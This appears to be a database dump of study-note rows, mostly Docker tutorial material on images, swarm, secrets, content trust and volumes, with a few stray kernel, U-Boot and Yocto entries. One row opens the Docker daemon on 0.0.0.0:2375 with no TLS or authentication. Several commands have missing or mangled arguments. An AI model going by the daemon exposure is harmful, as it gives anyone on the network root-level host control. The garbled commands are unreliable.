static int misc_open(struct inode *inode, struct file *fp)\n{\n char *kbuf = kzalloc(PATH_MAX, GFP_KERNEL); text txt 2024-07-28 10:09:08.278231 0 +5015 1423 dev = misc_dev.this_device;\n} text txt 2024-07-28 10:09:08.38684 0 +4014 991 docker login code txt 2024-07-28 10:06:22.694578 0 +4015 992 Docker is opinionated, so by default it pushes images to DockerHub.\nYou can push to other registries, but you have to explicitly set the registry URL as part of the `docker image push` command. text txt 2024-07-28 10:06:22.964708 0 +4016 992 docker image push registry/repository/container:latest code txt 2024-07-28 10:06:22.985481 0 +4017 993 This command adds an additional tag, it does not overwrite the original. text txt 2024-07-28 10:06:23.245725 0 +4018 993 docker image tag container:latest repository/container:latest code txt 2024-07-28 10:06:23.267428 0 +4019 994 Comment lines start with the `#` character. text txt 2024-07-28 10:06:23.439534 0 +4020 995 Some instructions create new layers, whereas others just add metadata to the image config file. text txt 2024-07-28 10:06:23.79472 0 +4021 995 Examples of instructions that create new layers are FROM, RUN, and COPY.\nExamples that create metadata include EXPOSE, WORKDIR, ENV, and ENTRYPOINT. text txt 2024-07-28 10:06:23.815248 0 +4022 995 If an instruction is adding content such as files and programs to the image, it will create a new layer.\nIf it is adding instructions on how to build the image and run the application, it will create metadata. text txt 2024-07-28 10:06:23.836027 0 +4023 995 code txt 2024-07-28 10:06:23.855149 0 +4024 996 docker image history web:latest code txt 2024-07-28 10:06:24.072046 0 +4025 997 You can force the build process to ignore the entire cache by passing the --no-cache=true flag to the `docker image build` command. text txt 2024-07-28 10:06:24.30488 0 +4026 997 code txt 2024-07-28 10:06:24.32494 0 +4027 998 The COPY and ADD instructions include steps to ensure that the content being\ncopied into the image has not changed since the last build. text txt 2024-07-28 10:06:24.678308 0 +4028 998 For example, it’s possible that the `COPY . /src` instruction in the Dockerfile\nhas not changed since the previous, but the contents of the directory being\ncopied into the image have changed! text txt 2024-07-28 10:06:24.699788 0 +4029 998 To protect against this, Docker performs a checksum against each file being\ncopied, and compares that to a checksum of the same f i le in the cached\nlayer.\nIf the checksums do not match, the cache is invalidated and a new layer is built. text txt 2024-07-28 10:06:24.722045 0 +4030 999 Add the --squash flag to the `docker image build` command if you want to create a squashed image. text txt 2024-07-28 10:06:24.975521 0 +4031 999 docker image build --squash --tag container:latest . code txt 2024-07-28 10:06:24.995788 0 +4032 1000 If you are building Linux images, and using the apt package manager, you\nshould use the --no-install-recommends flag with the apt-get install command.\nThis makes sure that apt only installs main dependencies\n(packages in the Depends field) and not recommended or suggested packages. text txt 2024-07-28 10:06:25.32315 0 +4033 1000 apt update && apt upgrade --yes && apt install --yes --no-install-recommends packages... code txt 2024-07-28 10:06:25.343015 0 +4034 1001 A *swarm* consists of one or more Docker nodes. text txt 2024-07-28 10:06:25.580666 0 +4035 1002 Nodes are configured as *managers* or *workers*. text txt 2024-07-28 10:06:25.778643 0 +4036 1003 The configuration and state of a *swarm* is held in a distributed *etcd* database located on all *managers*.\nIt's installed as part of the swarm and just takes care of itself. text txt 2024-07-28 10:06:25.97558 0 +4037 1004 Docker nodes that are not part of a *swarm* are said to be in a **single-engine** mode.\nOnce they're added to a *swarm* they're automatically switched into **swarm mode**. text txt 2024-07-28 10:06:26.252049 0 +4038 1004 Joining a Docker host to an existing *swarm* switches them into *swarm mode* as part of the operation. text txt 2024-07-28 10:06:26.27298 0 +4039 1005 docker swarm init --advertise-addr 10.0.0.1:2377 --listen-addr 10.0.0.1:2377 code txt 2024-07-28 10:06:26.504659 0 +4040 1006 The default port that *swarm mode* operates on is 2377.\nThis is customizable, but it's convention to use 2377/tcp for secured client-to-swarm connections. text txt 2024-07-28 10:06:26.724456 0 +4041 1007 docker node ls code txt 2024-07-28 10:06:26.989452 0 +4042 1007 Nodes with nothing in the `MANAGER STATUS` column are *workers*.\nThe asterisk after the `ID` column indicates the node you are logged on to and executing commands from. text txt 2024-07-28 10:06:27.010795 0 +4043 1008 In a *manager* node extract tokens required to add new *workers* and *managers* to the swarm: text txt 2024-07-28 10:06:27.307689 0 +4044 1008 docker swarm join-token worker\ndocker swarm join-token manager code txt 2024-07-28 10:06:27.328138 0 +4045 1009 In a *worker* node use extracted token to join to the swarm: text txt 2024-07-28 10:06:27.654885 0 +4046 1009 docker swarm join --token 10.0.0.1:2377 --advertise-addr 10.0.0.1:2377 --listen-addr 10.0.0.1:2377 code txt 2024-07-28 10:06:27.674215 0 +4047 1009 The `--advertise-addr` and `--listen-addr` flags are optional, but it's best practice to be as specific as possible when it comes to network configuration. text txt 2024-07-28 10:06:27.695757 0 +4048 1010 Swarm implements a form of active-passive multi-manager high availability mechanism.\nThis means that although you have multiple *managers*, only one of them is *active* at any given moment.\nThis active *manager* is called the *leader*, and is the only *manager* that will ever issue live commands against the *swarm*.\nSo, it's only ever the *leader* that changes the config, or issues tasks to workers.\nIf a *follower manager* (passive) receives commands for the swarm, it proxies them across the *leader*. text txt 2024-07-28 10:06:27.965244 0 +4049 1011 1. Deploy an odd number of managers.\n2. Don't deploy too many managers (3 or 5 is recommended) text txt 2024-07-28 10:06:28.303847 0 +4050 1011 Having an odd number of *managers* reduced the chance of split-brain condition.\nFor example, if you had 4 *managers* and the network partitioned, you could be left with two managers on each side of the partition.\nThis is known as a split brain, each side knows there used to be 4 but can now only see 2.\nBut crucially, neither side has any way of knowing if the other are still alive and whether it holds a majority (quorum).\nA swarm cluster continues to operate during split-brain condition, but you are no longer able to alter the configuration, or add and manage application workloads.\nHowever, if you have 3 or 5 managers and the same network partition occurs, it is impossible to have an equal number of managers on both sides of the parition, then one side achieves quorum and full cluster management services remain available. text txt 2024-07-28 10:06:28.326876 0 +4051 1012 Restarting an old manager or restoring an old backup has the potential to compromise the cluster.\nOld managers re-joining a swarm automatically decrypt and gain access to the Raft log time-series database, this can pose security concerns.\nRestoring old backups can also wipe the current swarm configuration. text txt 2024-07-28 10:06:28.593545 0 +4052 1012 To prevent situations like these, Docker allows to lock a swarm with the Autolock feature.\nThis forces restarted managers to present the cluster unlock key before being admitted back into the cluster. text txt 2024-07-28 10:06:28.615784 0 +4053 1013 To apply a lock directly to a new swarm: text txt 2024-07-28 10:06:29.005434 0 +4054 1013 docker swarm init --autolock code txt 2024-07-28 10:06:29.025557 0 +4055 1013 However, to lock an already initialized swarm, run the following command on a swarm *manager*: text txt 2024-07-28 10:06:29.04522 0 +4056 1013 docker swarm update --autolock true code txt 2024-07-28 10:06:29.066103 0 +4057 1014 docker swarm unlock-key code txt 2024-07-28 10:06:29.296922 0 +4058 1015 Restart docker daemon one of the *manager* nodes: text txt 2024-07-28 10:06:29.879733 0 +4059 1015 sudo systemctl restart docker code txt 2024-07-28 10:06:29.899895 0 +4060 1015 Try to list the nodes in the swarm on restarted *manager* to confirm that it has not been allowed to re-join the swarm: text txt 2024-07-28 10:06:29.919741 0 +4061 1015 docker node ls code txt 2024-07-28 10:06:29.940148 0 +4062 1015 Unlock the swarm on restarted *manager*: text txt 2024-07-28 10:06:29.961434 0 +4063 1015 docker swarm unlock code txt 2024-07-28 10:06:29.980823 0 +4064 1015 Confirm that *manager* has re-joined by listing swarm nodes. text txt 2024-07-28 10:06:30.002103 0 +4065 1016 1. Imperatively on the command line with `docker service create`\n2. Declaratively with a stack file text txt 2024-07-28 10:06:30.192724 0 +4066 1017 docker service create --name my-service --publish 80:80 --replicas 5 repository/project:v1 code txt 2024-07-28 10:06:30.408416 0 +4067 1018 docker service ls code txt 2024-07-28 10:06:30.620648 0 +4068 1019 docker service ps my-service code txt 2024-07-28 10:06:30.830389 0 +4069 1020 docker service inspect --pretty my-service code txt 2024-07-28 10:06:31.037857 0 +4070 1021 The default replication mode of a service is *replicated*.\nThis deploys a desired number of replicas and distributes them as evenly as possible across the cluster. text txt 2024-07-28 10:06:31.292371 0 +4071 1021 The other mode is *global*, which runs a single replica on every node in swarm.\nTo deploy a *global service* you need to pass the `--mode global` flag to the `docker service create` command. text txt 2024-07-28 10:06:31.313634 0 +4072 1022 docker service scale my-service=10\ndocker service scale my-service=2\ndocker service ls\ndocker service ps my-service code txt 2024-07-28 10:06:31.581836 0 +4073 1023 docker service rm my-service text txt 2024-07-28 10:06:31.750445 0 +4074 1024 docker network create --driver overlay my-network code txt 2024-07-28 10:06:32.002348 0 +4075 1024 An overlay network creates a new layer 2 network that we can place containers on, and all containers on it will be able to communicate. text txt 2024-07-28 10:06:32.02311 0 +4076 1025 docker network ls code txt 2024-07-28 10:06:32.229696 0 +4077 1026 docker service create --name my-service --network my-network --publish 80:80 --replicas 10 repository/project:v1 text txt 2024-07-28 10:06:32.401623 0 +4078 1027 This mode of publishing a port on every node in the swarm — even nodes not running service replicas — is called *ingress mode* and is the default.\nThe alternative mode is *host mode* which only publishes the service on swarm nodes running replicas. text txt 2024-07-28 10:06:32.628779 0 +4079 1027 In *ingress mode* every node gets a mapping and can therefore redirect your request to a node that is running the service. text txt 2024-07-28 10:06:32.649507 0 +4080 1028 docker service create --name my-service --network my-network --publish published=80,target=80,mode=host --replicas 12 code txt 2024-07-28 10:06:32.934624 0 +4081 1028 Open a web browser and point it to the IP address of any of the nodes in the swarm on port 80 to see the service running. text txt 2024-07-28 10:06:32.956003 0 +4082 1029 docker service update --image repository/project:v2 --update-parallelism 2 --update-delay 20s my-project\ndocker service inspect --pretty my-project code txt 2024-07-28 10:06:33.219183 0 +4083 1030 docker service logs my-project code txt 2024-07-28 10:06:33.471809 0 +4084 1030 You can follow the logs (`--follow`), tail them (`--tail`), and get extra details (`--details`). text txt 2024-07-28 10:06:33.492787 0 +4085 1031 By using flags to override configuration file: text txt 2024-07-28 10:06:33.917896 0 +4086 1031 docker service create --name my-service --publish 80:80 --replicas 10 --log-driver journald code txt 2024-07-28 10:06:33.937591 0 +4087 1031 Or by configuring `docker.json` file: text txt 2024-07-28 10:06:33.959472 0 +4088 1031 {\n "log-driver": "syslog"\n} code txt 2024-07-28 10:06:33.979275 0 +4089 1032 Managing your swarm and applications declaratively is a great way to prevent the need to recover from a backup.\nFor example, storing configuration objects outside of the swarm in a source code repository will enable you to redeploy things like networks, services, secrets and other objects.\nHowever, managing your environment declaratively and strictly using source control repos requires discipline. text txt 2024-07-28 10:06:34.184638 0 +4090 1033 Swarm configuration and state is stored in `/var/lib/docker/swarm` on every manager node.\nA swarm backup is a copy of all the files in this directory. text txt 2024-07-28 10:06:34.378772 0 +4091 1034 You have to stop the Docker daemon on the node you are backing up.\nIt’s a good idea to perform the backup from non-leader managers.\nThis is because stopping Docker on the leader will initiate a leader election. text txt 2024-07-28 10:06:35.264663 0 +4092 1034 The following commands will create the following two objects: text txt 2024-07-28 10:06:35.286017 0 +4093 1034 * An overlay network\n* A Secret text txt 2024-07-28 10:06:35.306249 0 +4094 1034 docker network create --driver overlay my-network\nprintf "Salt" | docker secret create my-secret -\nsudo systemctl stop docker\ntar -czf swarm.gzip /var/lib/docker/swarm code txt 2024-07-28 10:06:35.328255 0 +4095 1034 To restore the backup: text txt 2024-07-28 10:06:35.34837 0 +4096 1034 tar -xzf swarm.gzip -C /\nsudo systemctl start docker code txt 2024-07-28 10:06:35.368321 0 +4097 1034 The `--force-new-cluster` flag tells Docker to create a new cluster using the configuration stored in `/var/lib/docker/swarm/` that you recovered. text txt 2024-07-28 10:06:35.388167 0 +4098 1034 docker swarm init --force-new-cluster\ndocker network ls\ndocker secret ls\ndocker swarm ls\ndocker service ls\ndocker service ps\ndocker node ls code txt 2024-07-28 10:06:35.408753 0 +4099 1034 Add new manager and worker nodes and take fresh backups. text txt 2024-07-28 10:06:35.42833 0 +4100 1035 By default, Docker creates new volumes with the built-in *local* driver. text txt 2024-07-28 10:06:35.828686 0 +4101 1035 docker volume create my-storage code txt 2024-07-28 10:06:35.849749 0 +4102 1035 As the name suggests, volumes created with the *local* driver are only available to containers on the same node as the volume.\nYou can use the `-d` flag to specify a different driver. text txt 2024-07-28 10:06:35.869836 0 +4103 1036 docker volume ls\ndocker volume list code txt 2024-07-28 10:06:36.133691 0 +4104 1037 docker volume inspect my-storage code txt 2024-07-28 10:06:36.418921 0 +4105 1037 If both the `Driver` and `Scope` properties are *local*, it means the volume was created with the local driver and is only available to containers on this Docker host. text txt 2024-07-28 10:06:36.439808 0 +4106 1037 The `Mountpoint` property tells us where in the Docker host’s filesystem the volume exists. text txt 2024-07-28 10:06:36.461564 0 +4107 1038 docker volume rm\ndocker volume remove code txt 2024-07-28 10:06:36.772131 0 +4108 1038 This option lets you specify exactly which volumes you want to delete.\nIt won't delete a volume that is in use by a container or service replica. text txt 2024-07-28 10:06:36.792378 0 +4109 1039 docker volume prune code txt 2024-07-28 10:06:37.037787 0 +4110 1039 `prune` will delete all volumes that are not mounted into a container or service replica. text txt 2024-07-28 10:06:37.058149 0 +4111 1040 VOLUME code txt 2024-07-28 10:06:37.398004 0 +4314 1137 fatload mmc 0 80000000 boot.ini code txt 2024-07-28 10:07:10.120488 0 +4112 1040 Interestingly, you cannot specify a directory on the host when defining a volume in a Dockerfile.\nThis is because host directories are different depending on what OS your Docker host is running – it could break your builds if you specified a directory on a Docker host that doesn’t exist.\nAs a result, defining a volume in a Dockerfile requires you to specify host directories at deploy-time. text txt 2024-07-28 10:06:37.4194 0 +4113 1041 Create a volume, then you create a container and mount the volume into it.\nThe volume is mounted into a directory in the container’s filesystem, and anything written to that directory is stored in the volume.\nIf you delete the container, the volume and its data will still exist. text txt 2024-07-28 10:06:37.90248 0 +4114 1041 docker container run --detach --interactive --tty --name my-service --mount source=my-storage,target=/storage alpine code txt 2024-07-28 10:06:37.922493 0 +4115 1041 * If you specify an existing volume, Docker will use the existing volume.\n* If you specify a volume that doesn’t exist, Docker will create it for you. text txt 2024-07-28 10:06:37.944427 0 +4116 1041 In case `my-storage` didn't exist, it will be created: text txt 2024-07-28 10:06:37.965241 0 +4117 1041 docker volume ls code txt 2024-07-28 10:06:37.985474 0 +4118 1042 docker service create --name my-service --mount source=bizvol,target=/vol alpine sleep 1d code txt 2024-07-28 10:06:38.352471 0 +4119 1042 `--replica` flag was not set, so only a single service replica was deployed. text txt 2024-07-28 10:06:38.372695 0 +4120 1042 Running service can be found in cluster by following command: text txt 2024-07-28 10:06:38.394542 0 +4121 1042 docker service ps my-service code txt 2024-07-28 10:06:38.415702 0 +4122 1043 docker plugin install purestorage/docker-plugin:latest --alias pure --grant-all-permissions code txt 2024-07-28 10:06:38.667092 0 +4123 1044 docker plugin ls\ndocker plugin list code txt 2024-07-28 10:06:38.931447 0 +4124 1045 docker plugin install purestorage/docker-plugin:latest --alias pure --grant-all-permissions\ndocker volume create --driver pure --opt size=25GB fast-volume code txt 2024-07-28 10:06:39.160296 0 +4125 1046 Assuming an application running on two nodes of a cluster and both have write access to the shared volume. text txt 2024-07-28 10:06:39.512077 0 +4126 1046 The application running on node-1 updates some data in the shared volume.\nHowever, instead of writing the update directly to the volume, it holds it in its local buffer for faster recall.\nAt this point, the application in node-1 thinks the data has been written to the volume.\nHowever, before node-1 flushes its buffers and commits the data to the volume, the app on node-2 updates the same data with a different value and commits it directly to the volume.\nAt this point, both applications think they’ve updated the data in the volume, but in reality only the application in node-2 has.\nA few seconds later, on node-1 flushes the data to the volume, overwriting the changes made by the application in node-2.\nHowever, the application in node-2 is totally unaware of this! This is one of the ways data corruption happens.\nTo prevent this, you need to write your applications in a way to avoid things like this. text txt 2024-07-28 10:06:39.534972 0 +4127 1047 Docker Swarm Mode is secure by default. Image vulnerability scanning analyses\nimages, detects known vulnerabilities, and provides detailed reports and\nfixes. text txt 2024-07-28 10:06:39.888597 0 +4128 1047 Scanners work by building a list of all software in an image and then comparing the packages against databases of known vulnerabilities.\nMost vulnerability scanners will rank vulnerabilities and provide advice and help on fixes. text txt 2024-07-28 10:06:39.910188 0 +4129 1048 **Docker Content Trust (DCT)** lets us sign our own images and verify the\nintegrity and publisher of images we consume. text txt 2024-07-28 10:06:40.095676 0 +4130 1049 Kernel namespaces are the main technology used to build containers. They\nvirtualise operating system constructs such as process trees and filesystems\nin the same way that hypervisors virtualise physical resources such as CPUS\nand disks. If namespaces are about isolation, control groups (cgroups) are\nabout limits. text txt 2024-07-28 10:06:40.346505 0 +4131 1050 Containers are isolated from each other but all share a common set of\nresources — things like CPU, RAM, network and disk I/O. Cgroups let us set\nlimits so a single container cannot consume them all and cause a denial of\nservice (DoS) attack. text txt 2024-07-28 10:06:40.701592 0 +4132 1050 Docker uses seccomp to limit the syscalls a container can make to the host’s\nkernel. At the time of writing, Docker’s default seccomp profile disables 44\nsyscalls. Modern Linux systems have over 300 syscalls. text txt 2024-07-28 10:06:40.723224 0 +4133 1051 **Docker secrets** let us securely share sensitive data with applications.\nThey’re stored in the encrypted cluster store, encrypted over the network,\nkept in in-memory filesystems when in use, and operate a least-privilege\nmodel. text txt 2024-07-28 10:06:41.362011 0 +4134 1051 Run the following command from the node you want to be the first manager in\nthe new swarm. text txt 2024-07-28 10:06:41.382268 0 +4135 1051 *manager1*\ndocker swarm init code txt 2024-07-28 10:06:41.401867 0 +4136 1051 That’s literally all you need to do to configure a secure swarm. text txt 2024-07-28 10:06:41.421746 0 +4137 1051 *manager1* is configured as the first manager of the swarm and also as the\nroot certificate authority (CA). The swarm itself has been given a\ncryptographic cluster ID. text txt 2024-07-28 10:06:41.44346 0 +4138 1051 *manager1* has issued itself with a client certificate that identifies it as\na manager, certificate rotation has been configured with the default value of\n90 days, and a cluster database has been configured and encrypted. A set of\nsecure tokens have also been created so that additional managers and workers\ncan be securely joined. text txt 2024-07-28 10:06:41.465522 0 +4139 1052 First extract the manager token: text txt 2024-07-28 10:06:41.996231 0 +4140 1052 *manager1*\ndocker swarm join-token manager code txt 2024-07-28 10:06:42.018365 0 +4141 1052 Then using then token join new nodes as managers: text txt 2024-07-28 10:06:42.03875 0 +4142 1052 *node1*\ndocker swarm join --token : code txt 2024-07-28 10:06:42.059677 0 +4143 1052 Every join token has 4 distinct fields separated by dashes (-):\n`PREFIX - VERSION - SWARM ID - TOKEN`\n- The prefix is always `SWMTKN`. This allows you to pattern-match against it\n and prevent people from accidentally posting it publicly.\n- The `VERSION` field indicates the version of the swarm.\n- The `SWARM ID` field is a hash of the swarm’s certificate.\n- The `TOKEN` field is worker or manager token. text txt 2024-07-28 10:06:42.081295 0 +4144 1053 docker swarm join-token --rotate manager code txt 2024-07-28 10:06:42.285939 0 +4145 1054 sudo openssl x509 -in /var/lib/docker/swarm/certificates/swarm-node.crt -text code txt 2024-07-28 10:06:42.494926 0 +4146 1055 docker swarm update code txt 2024-07-28 10:06:42.778313 0 +4147 1055 The following example changes the certificate rotation period to 30 days. text txt 2024-07-28 10:06:42.798274 0 +4148 1055 docker swarm update --cert-expiry 720h text txt 2024-07-28 10:06:42.818704 0 +4149 1056 docker swarm ca --help code txt 2024-07-28 10:06:43.030166 0 +4150 1057 To follow along, you’ll need a cryptographic key-pair to sign images. text txt 2024-07-28 10:06:43.766454 0 +4151 1057 docker trust key generate brian code txt 2024-07-28 10:06:43.786625 0 +4914 1391 DECLARE_WAIT_QUEUE_HEAD(static_event); text txt 2024-07-28 10:08:53.648335 0 +4152 1057 If you already have a key-pair, you can import and load it with: text txt 2024-07-28 10:06:43.806692 0 +4153 1057 docker trust key load key.pem --name brian code txt 2024-07-28 10:06:43.827801 0 +4154 1057 Now that we’ve loaded a valid key-pair, we’ll associate it with the image\nrepository we’ll push signed images to. This example uses the\nnigelpoulton/ddd-trust repo on Docker Hub and the brian.pub key that was\ncreated in the previous step. text txt 2024-07-28 10:06:43.848201 0 +4155 1057 docker trust signer add --key brian.pub brian briansalehi/ddd-trust code txt 2024-07-28 10:06:43.869052 0 +4156 1057 The following command will sign the briansalehi/ddd-trust:signed image and\npush it to Docker Hub. You’ll need to tag an image on your system with the\nname of the repo you just associated your key-pair with. text txt 2024-07-28 10:06:43.889473 0 +4157 1057 Push the signed image: text txt 2024-07-28 10:06:43.909371 0 +4158 1057 docker trust sign briansalehi/ddd-trust:signed code txt 2024-07-28 10:06:43.930954 0 +4159 1057 The push operation will create the repo on Docker Hub and push the image. text txt 2024-07-28 10:06:43.952263 0 +4160 1058 docker trust inspect nigelpoulton/ddd-trust:signed --pretty code txt 2024-07-28 10:06:44.188308 0 +4161 1059 You can force a Docker host to always sign and verify image push and pull\noperations by exporting the `DOCKER_CONTENT_TRUST` environment variable with\na value of 1. In the real world, you’ll want to make this a more permanent\nfeature of Docker hosts. text txt 2024-07-28 10:06:44.565939 0 +4162 1059 export DOCKER_CONTENT_TRUST=1 code txt 2024-07-28 10:06:44.586018 0 +4163 1059 Once DCT is enabled like this, you’ll no longer be able to pull and work with\nunsigned images. text txt 2024-07-28 10:06:44.607043 0 +4164 1060 Many applications have sensitive data such as passwords, certificates, and\nSSH keys. Secrets require swarm as they leverage the cluster store. The\nsecret is shown as the key symbol and the container icons with the dashed\nline are not part of the service that has access to the secret. text txt 2024-07-28 10:06:45.009562 0 +4165 1060 You can create and manage secrets with the docker secret command. You can\nthen attach them to services by passing the `--secret` flag: text txt 2024-07-28 10:06:45.030102 0 +4166 1060 docker service create --secret code txt 2024-07-28 10:06:45.050644 0 +4167 1060 The secret is mounted into the containers of the blue service as an\nunencrypted file at `/run/secrets/`. This is an in-memory *tmpfs* filesystem. text txt 2024-07-28 10:06:45.071199 0 +4168 1061 1. **Docker commands:** run a container and input the commands to create new image with `docker commit`.\n2. **Dockerfile:** Build from a known base image, and specify the build with a limited set of simple commands.\n3. **Dockerfile and configuration management (CM) tool:** Same as Dockerfile, but you hand over control of the build to a more sophisticated CM tool.\n4. **Scratch image and import a set of files:** From an empty image, import a TAR file with the required files. text txt 2024-07-28 10:06:45.608462 0 +4169 1062 You begin the Dockerfile by defining the base image with the `FROM` command. text txt 2024-07-28 10:06:46.638139 0 +4170 1062 FROM node code txt 2024-07-28 10:06:46.65931 0 +4171 1062 Next, you declare the maintainer with the `LABEL` command.\nThis line isn’t required to make a working Docker image, but it’s good practice to include it. text txt 2024-07-28 10:06:46.680171 0 +4172 1062 LABEL maintainer user@domain.tld code txt 2024-07-28 10:06:46.701608 0 +4173 1062 Next, you clone the source code with a `RUN` command.\n**Note:** Git is installed inside the base *node* image in this case, but you can’t take this kind of thing for granted. text txt 2024-07-28 10:06:46.724262 0 +4174 1062 RUN git clone -q https://domain.com - https://domain.com/username/repository.git code txt 2024-07-28 10:06:46.745413 0 +4175 1062 Now you move to the new cloned directory with a `WORKDIR` command.\nNot only does this change directories within the build context,\nbut the last `WORKDIR` command determines which directory you’re in by default when you start up your container from your built image. text txt 2024-07-28 10:06:46.766681 0 +4176 1062 WORKDIR repository code txt 2024-07-28 10:06:46.787017 0 +4177 1062 Next, you run the node package manager’s install command (npm). text txt 2024-07-28 10:06:46.807212 0 +4178 1062 RUN npm install > /dev/null code txt 2024-07-28 10:06:46.827771 0 +4179 1062 Because port 8000 is used by the application, you use the `EXPOSE` command to tell Docker that containers from the built image should listen on this port. text txt 2024-07-28 10:06:46.848287 0 +4180 1062 EXPOSE 8000 code txt 2024-07-28 10:06:46.870372 0 +4181 1062 Finally, you use the CMD command to tell Docker which command will be run when the container is started up. text txt 2024-07-28 10:06:46.890672 0 +4182 1062 CMD ["npm", "start"] code txt 2024-07-28 10:06:46.911596 0 +4183 1063 docker build .\ndocker image build . code txt 2024-07-28 10:06:47.183788 0 +4184 1063 Each command results in a new image being created, and the image ID is output. text txt 2024-07-28 10:06:47.205237 0 +4185 1064 docker tag 67c76cea05bb todoapp\ndocker image tag ... code txt 2024-07-28 10:06:47.453651 0 +4186 1065 docker run -i -t -p 8000:8000 --name example todoapp\ndocker container run ... code txt 2024-07-28 10:06:47.774091 0 +4187 1065 The `-p` flag maps the container’s port 8000 to the port 8000 on the host machine.\nThe `--name` flag gives the container a unique name you can refer to later for convenience. text txt 2024-07-28 10:06:47.794774 0 +4188 1066 Once the container has been started, you can press `Ctrl-C` to terminate the process and the container. text txt 2024-07-28 10:06:47.961527 0 +4189 1067 docker ps -a\ndocker container ps ...\ndocker container ls ...\ndocker container list ... code txt 2024-07-28 10:06:48.252768 0 +4190 1068 docker start example\ndocker container start ... code txt 2024-07-28 10:06:48.520683 0 +4191 1069 docker diff example\ndocker container diff ... code txt 2024-07-28 10:06:48.821266 0 +4192 1069 The docker diff subcommand shows you which files have been affected since the image was instantiated as a container.\nIn this case, the todo directory has been changed (C), and the other listed files have been added (A).\nNo files have been deleted (D), which is the other possibility. text txt 2024-07-28 10:06:48.842631 0 +4193 1070 Once the Docker daemon has been stopped, you can restart it manually and open it up to outside users with the following command: text txt 2024-07-28 10:06:49.335037 0 +4194 1070 sudo docker daemon -H tcp://0.0.0.0:2375 code txt 2024-07-28 10:06:49.355203 0 +4195 1070 docker -H tcp://:2375 code txt 2024-07-28 10:06:49.37574 0 +4196 1070 Or you can export the `DOCKER_HOST` environment variable: text txt 2024-07-28 10:06:49.39636 0 +4197 1070 export DOCKER_HOST=tcp://:2375\nsudo --preserve-env=DOCKER_HOST docker code txt 2024-07-28 10:06:49.416913 0 +4198 1071 docker run -d -p 1234:1234 --name daemon ubuntu:20.04 nc -l 1234\ndocker run --detach -publish 1234:1234 --name daemon ...\ndocker container run ... code txt 2024-07-28 10:06:49.974105 0 +4199 1071 The `-d` flag, when used with docker run, runs the container as a daemon.\nWith `-p` you publish the 1234 port from the container to the host.\nThe `--name` flag lets you give the container a name so you can refer to it later.\nFinally, you run a simple listening echo server on port 1234 with **netcat**. text txt 2024-07-28 10:06:49.995592 0 +4200 1071 nc localhost 1234\nLook ma, I know docker!^C code txt 2024-07-28 10:06:50.017013 0 +4201 1071 docker container logs daemon\nLook ma, I know docker! code txt 2024-07-28 10:06:50.037415 0 +4202 1072 docker logs daemon\ndocker container logs ... code txt 2024-07-28 10:06:50.303155 0 +4203 1073 Restart policy allows you to apply a set of rules to be followed when the container terminates: text txt 2024-07-28 10:06:50.676213 0 +4204 1073 * `no`: Don’t restart when the container exits\n* `always`: Always restart when the container exits\n* `unless-stopped`: Always restart, but remember explicitly stopping\n* `on-failure[:max-retry]`: Restart only on failure text txt 2024-07-28 10:06:50.696754 0 +4205 1073 docker container run --detach --restart=on-failure:10 --name daemon ubuntu /usr/bin/false\ndocker container logs daemon code txt 2024-07-28 10:06:50.717807 0 +4206 1074 socat -v UNIX-LISTEN:/tmp/dockerapi.sock,fork UNIX-CONNECT:/var/run/docker.sock &\ndocker -H unix:///tmp/dockerapi.sock ps -a code txt 2024-07-28 10:06:50.954686 0 +4207 1075 docker search node code txt 2024-07-28 10:06:51.183365 0 +4208 1076 Docker allocates the private subnet from an unused RFC 1918 private subnet\nblock. It detects which network blocks are unused on the host and allocates\none of those to the virtual network. That is bridged to the host’s local\nnetwork through an interface on the server called `docker0`. This means that,\nby default, all of the containers are on a network together and can talk to\neach other directly. But to get to the host or the outside world, they go\nover the `docker0` virtual bridge interface. text txt 2024-07-28 10:06:51.691932 0 +4209 1077 There is a wide ecosystem of tools to either improve or augment Docker’s\nfunctionality. Some good production tools leverage the Docker API, like\n**Prometheus** for monitoring and **Ansible** for simple orchestration.\nOthers leverage Docker’s plugin architecture. text txt 2024-07-28 10:06:51.971588 0 +4210 1077 **Plugins** are executable programs that conform to a specification for\nreceiving and returning data to Docker. text txt 2024-07-28 10:06:51.992497 0 +4211 1078 Some features may become deprecated on future releases. To see what has been\ntagged for deprecation and eventual removal, refer to the documentation. text txt 2024-07-28 10:06:52.225154 0 +4212 1079 sudo systemctl enable --now docker code txt 2024-07-28 10:06:52.462465 0 +4213 1080 docker -H 10.0.0.10:12375 version code txt 2024-07-28 10:06:52.682665 0 +4214 1081 Passing in the IP address and port every time you want to run a Docker\ncommand, is not ideal, but luckily Docker can be set up to know about\nmultiple Docker servers, using the `docker context` command. text txt 2024-07-28 10:06:53.048123 0 +4215 1081 To start let’s check and see what context is currently in use. text txt 2024-07-28 10:06:53.067935 0 +4216 1081 docker context create helpdesk --docker =tcp://10.0.0.10:12375 code txt 2024-07-28 10:06:53.089549 0 +4217 1081 Take note of the entry that has an asterisk next to it, which designates\nthe current context. text txt 2024-07-28 10:06:53.110562 0 +4218 1082 docker context list code txt 2024-07-28 10:06:53.344014 0 +4219 1083 docker context use default code txt 2024-07-28 10:06:53.57955 0 +4220 1084 You’re not likely to have to start the Docker server yourself, but that’s\nwhat going on behind the scenes. text txt 2024-07-28 10:06:53.859694 0 +4221 1084 sudo dockerd -H unix:///var/run/docker.sock --config-file /etc/docker/daemon.json code txt 2024-07-28 10:06:53.879557 0 +4222 1085 Poky is the default Yocto Project reference distribution, which uses\nOpenEmbedded build system technology. text txt 2024-07-28 10:06:54.526624 0 +4223 1086 It is composed of a collection of tools, configuration files, and recipe data\n(known as metadata). text txt 2024-07-28 10:06:54.975903 0 +4224 1086 |Poky Build Tool|\n|---|\n|BitBake Tool (bitbake)|\n|OpenEmbedded Core (meta)|\n|Poky Distribution Metadata (meta-poky)|\n|Yocto Project Reference BSP (meta-yocto-bsp)| text txt 2024-07-28 10:06:54.995753 0 +4225 1086 It is platform-independent and performs cross-compiling using the BitBake\ntool, OpenEmbedded Core, and a default set of metadata. text txt 2024-07-28 10:06:55.017377 0 +4226 1086 In addition, it provides the mechanism to build and combine thousands of\ndistributed open source projects to form a fully customizable, complete, and\ncoherent Linux software stack. text txt 2024-07-28 10:06:55.039296 0 +4227 1087 BitBake is a task scheduler and execution system that parses Python and Shell\nScript code. The code that is parsed generates and runs tasks, which are a\nset of steps ordered per the code’s dependencies. text txt 2024-07-28 10:06:55.398531 0 +4228 1087 BitBake evaluates all available metadata, managing dynamic variable\nexpansion, dependencies, and code generation. In addition, it keeps track of\nall tasks to ensure their completion, maximizing the use of processing\nresources to reduce build time and predictability. text txt 2024-07-28 10:06:55.419302 0 +4229 1087 The source code is in the 